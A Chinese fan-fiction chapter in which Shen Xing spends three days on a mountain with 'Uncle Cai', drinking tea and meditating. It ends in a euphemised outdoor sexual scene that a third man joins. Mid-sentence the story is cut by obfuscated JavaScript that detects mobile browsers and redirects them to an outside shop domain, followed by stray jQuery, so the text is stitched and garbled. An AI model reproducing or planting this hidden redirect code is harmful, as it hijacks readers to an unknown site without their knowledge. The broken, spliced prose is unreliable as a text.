沈星将所有事忙完后,就跟随猜叔上了山。上山前,沈星问了猜叔大概去几天,猜叔回他说是三天。
实话说,沈星没有上过山,这应该是第一次。先前偶尔听猜叔说过山上的光景,据说在毒贩覆灭前,山上种满了的罂粟,远远望去火红一片,像是在人间燃烧的地狱火,又像是吞人血肉的埋骨地。总之,是比三边坡更罪恶的地方。
现今,沈星站在半山腰,山下风景一览无余,那场大雨终是洗刷掉了成片的红,山林恢复了山林本来的面貌。空中时不时有鸟群掠过,风里都是沁人心脾的清香。
猜叔背着手走在前面说:“阿星,一会儿去溪流里接点水,用这山泉水煮出来的茶回甘绵长,当是极品。”
“哎,我知道了,猜叔。”
回答完猜叔,沈星回身朝不远处的大货车挥了挥手,车窗里的男人对着他颔首,便启动了车子,转了弯。
目送车子离去,沈星耳边冷不丁地传入一句话:“怎么了?舍不得?”
声音来自沈星的头顶,也浅藏着呼之欲出的威压。
沈星无奈,他也不知道自己这碗水哪里没端平,让猜叔越发看不惯自己亲近但拓。
前世网上说女朋友的心思不好猜,沈星想猜叔的心思更是有过之而无不及。
他猜不到猜叔的心思,但该哄还得哄。
沈星将单肩包背在身上,脸上扬起笑容,快步走到猜叔身侧说:“猜叔,我们快上山吧,我都有些渴了。”
猜叔瞧了沈星一眼,终是顺着对方的台阶下,冷哼道:“你全身上下,也就这张嘴最甜了。”
闻言,沈星得意地仰头,将兜里的糖果剥了糖衣后扔嘴里,走在前面,像只骄傲的孔雀说:“因为我爱吃糖啊。”
猜叔看不过沈星得瑟的模样,移开了视线,低声轻斥:“幼稚。”
山上的佛堂并不大,更像是达班大寨的缩小版。除开供奉的屋子,能住人的只有一间,当然,床也只有一张。
在猜叔说话前,沈星先发制人说自己可以打地铺。开玩笑,哪有食物主动上餐桌的?他这三天还不想全在床上度过。
猜叔没说话,算是默认了。
在猜叔煮茶时,沈星正在收拾两人要住的床铺,不一会儿,满屋茶香四溢。
“茶好了。”猜叔将一杯澄澈的茶杯放到桌子另一侧。
“哎,我也铺好了。”将被子最后一处褶皱捋平,沈星起身来到桌前坐下,抿了口茶后问:“铁观音?”
沈星知道猜叔爱喝茶,从西藏回来时,各种茶带了不少回达班,算是伴手礼。
“恩。”猜叔又喝了一口后,难得夸奖道:“你带来那些茶,我都喝过了。你们中国产的茶确实不错。”
沈星笑眯着眼:“好歹沉淀了五千年,老祖宗严选的东西,能不好吗?”
许是茶太香醇,气氛太宁静,俩个人这样你一我一语竟也不觉得无聊。
喝过茶后,猜叔说他要去打坐,问沈星去不去。沈星欣然答应,他到底也是入过门的人,在西藏时他就常常打坐冥想,收获颇多。可惜回三边坡后,他忙着端水,心也不静。这次倒是个好机会。
沈星在蒲团上盘腿坐下,闭上眼,对外界的感知更清晰了。鸟声、风声、乃至人的呼吸声都听得一清二楚。
时间如流水悄然而过,不知不觉间日落西山。冥想完,沈星起身跟猜叔进屋,挑灯抄起了经书。
直到最后一页经书写完,猜叔将笔搁置在一旁,才开口:“阿星,跟我讲讲你那些不可言说的经历吧。”
闻言,沈星拿笔的手一僵,浓墨滴落在纸张上,氤氲成一团污渍。
他垂着头,艰涩反问:“猜叔怎么突然想问这些了?”
猜叔意味不明地一笑,道:“我只是好奇,如果那些都是真的,阿星,你不是该恨我吗?”
哪知沈星一手将笔扔进笔筒后,也笑起来:“恨您?我又有什么资格呢?”
“况且,和自己恨的人这样相处,我可没有那么强的忍耐力。”
猜叔盘着珠串又问:“既然如此,那你又是怎样看待我的?”
没有人能骗到了猜叔,所以沈星选择实话实说:“我对您,确实不是恨。”
“是不够爱。”
珠串被人盘得“嘎吱”响,猜叔冷笑一声:“你倒是诚实,只是你有没有想过,我为什么要为了一个说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009960|146030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不爱我的人,接受这样畸形的关系?”
“沈星,给我一个继续下去的理由。”
虽然沈星很想说,您也可以不接受,但这样多少有点渣,而且他惜命。所以他还是斟酌地给了一个理由。
“我可以……尝试着去爱您。”
在这句话后,猜叔沉默地看了沈星一会儿,最终将珠串带回手上道:“说到做到,阿星。”
这次谈话后,俩人连着两天都是打坐冥想,抄写经书,偶尔品茗对弈。沈星以为他过了猜叔那关,却不想这只老狐狸根本就没想着放过他。
“阿星,是你自己说要尝试爱我的,不能反悔,知道吗?”
被人狠狠钳制住的时候,沈星想过反抗,可对方一个动作堵死了他全部退路。
[]被人(喔)住。
沈星眼眸登时充满水雾,他紧抓着猜叔麻料上衣,气息不稳地羞恼道:“可猜叔,这是在室外!”
“别担心,山上现在就你我。”
彻底暴(路)在空气中时,沈星妥协地闭了眼睛,他就知道这老东西单独要他上山,必然不会单纯为了什么清修。
打野(站),可真想得出来!
山顶得风可真急啊,吹得山林东倒西歪,左右摇晃。正巧这时,天上下起了蒙蒙细雨,雨点噼里啪啦地打在枝叶上,汇聚成点点水珠,许多水珠又蜿蜒成一条水线,缓缓从叶缝间流淌而出。
不知多久后,雨声间突兀响起一道讶异的男声。
“阿星?你们………”
听见熟悉的声音,沈星身子一僵,看过去,果然是但拓。
嚯,这一幕可真是熟悉啊。
只是这次,门外的人不再打算忍耐。
今天本是约好他开车来接人,可当他早早把车停在半山腰,等了许久也不见山上下来人。反而是等到了漫天的雨水,他想着山上人没有伞,便拿着三把雨伞上了山。结果碰到了这让他既熟悉又窒息的一幕。
第一次,他生生在门口看完了全程,甚至连善后都是他。
而这一次,他选择加入。
不好意思,情敌面前,没有主仆。都是吃不饱的狼,谁又比谁高贵呢?